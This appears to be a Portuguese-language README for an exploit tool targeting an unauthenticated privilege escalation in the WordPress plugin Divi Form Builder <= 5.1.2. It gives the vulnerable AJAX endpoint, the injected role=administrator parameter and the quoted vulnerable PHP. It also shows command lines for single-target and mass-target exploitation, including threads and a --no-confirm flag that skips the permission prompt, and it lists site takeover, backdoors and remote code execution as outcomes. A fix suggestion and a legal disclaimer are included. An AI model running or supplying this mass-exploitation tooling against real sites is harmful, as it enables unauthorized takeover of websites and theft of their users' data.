
Divi Form Builder <= 5.1.2 — Escalação de Privilégios Não Autenticada via Injeção de Função
🔥 Resumo da Vulnerabilidade
O plugin WordPress Divi Form Builder versões <= 5.1.2 é vulnerável a uma vulnerabilidade de escalada de privilégio não autenticada. Essa falha crítica permite que atacantes não autenticados criem uma nova conta de Administrador diretamente através de qualquer formulário do Divi Form Builder — incluindo formulários de contato, formulários de orçamento, formulários de newsletter ou qualquer outro formulário habilitado com DFB.
A vulnerabilidade decorre da função create_user() em FormSubmissionHandler.php, que aceita o parâmetro role diretamente dos dados POST enviados pelo usuário, sem autorização adequada ou validação de lista de permissões. O plugin apenas verifica se a função enviada existe no sistema (por exemplo, administrator é uma função válida do WordPress) — nunca verifica se a função é segura para registro público.
Descoberta Inovadora: O fb_nonce usado pelo Divi Form Builder é um nonce global compartilhado (wp_create_nonce('security')) — idêntico em todos os formulários do site. Além disso, form_type=register pode ser substituído via POST para o manipulador AJAX compartilhado. Isso significa que qualquer formulário DFB (contato, orçamento, feedback, etc.) pode ser usado como arma para acionar o registro de usuário com atribuição arbitrária de função.
🔍 Plugin Afetado
🧨 O Que os Atacantes Podem Fazer
🧪 Recursos do Exploit
/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerrole=administrator junto com campos normais do formulárioresult.txt🧠 Código Vulnerável
// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// ~ line 2278 — ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← "administrator" EXISTS, so this check PASSES
}
// ~ line 2301 — Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role); // ← PRIVILEGE ESCALATION!
🚀 Uso
python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e [email protected]
Crie targets.txt:
target1.com
target2.com:8080
192.168.1.50
subdomain.target.com
python3 exploit.py -l targets.txt -T 20
🛠 Recomendações de Correção
// SECURE: Allowlist only safe roles for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Reject ALL dangerous roles
}
role dos formulários frontendcurrent_user_can('create_users') para funções privilegiadas🧠 Pesquisador
📚 Referências
🔒 Aviso Legal:
Estas informações são fornecidas apenas para fins educacionais e de teste de penetração autorizado. A exploração não autorizada de sistemas de computador é ilegal e antiética. Sempre obtenha permissão explícita por escrito antes de testar qualquer alvo que não seja de sua propriedade.
| Capacidade | Impacto |
|---|
| 🔑 Criar conta de administrador sem login | Tomada Completa do Site |
| 📦 Acessar dados de clientes WooCommerce | Violação de Dados |
| 💉 Editar arquivos PHP de plugins/temas | Execução Remota de Código |
| 🕳️ Instalar backdoors ocultos | Acesso Persistente |
| 👥 Visualizar todos os dados de usuários | Violação de Privacidade |
| Flag | Descrição |
|---|
-t, --target | URL do alvo único |
-l, --list | Arquivo com lista de alvos (um por linha, http/https opcional) |
-T, --threads | Threads para varredura em massa (padrão: 10) |
-o, --output | Arquivo de saída para resultados (padrão: result.txt) |
-u, --username | Nome de usuário personalizado para nova conta |
-p, --password | Senha personalizada para nova conta |
-e, --email | Email personalizado para nova conta |
-v, --verbose | Saída de depuração detalhada (verbose) |
--no-confirm | Pular prompt de confirmação de permissão |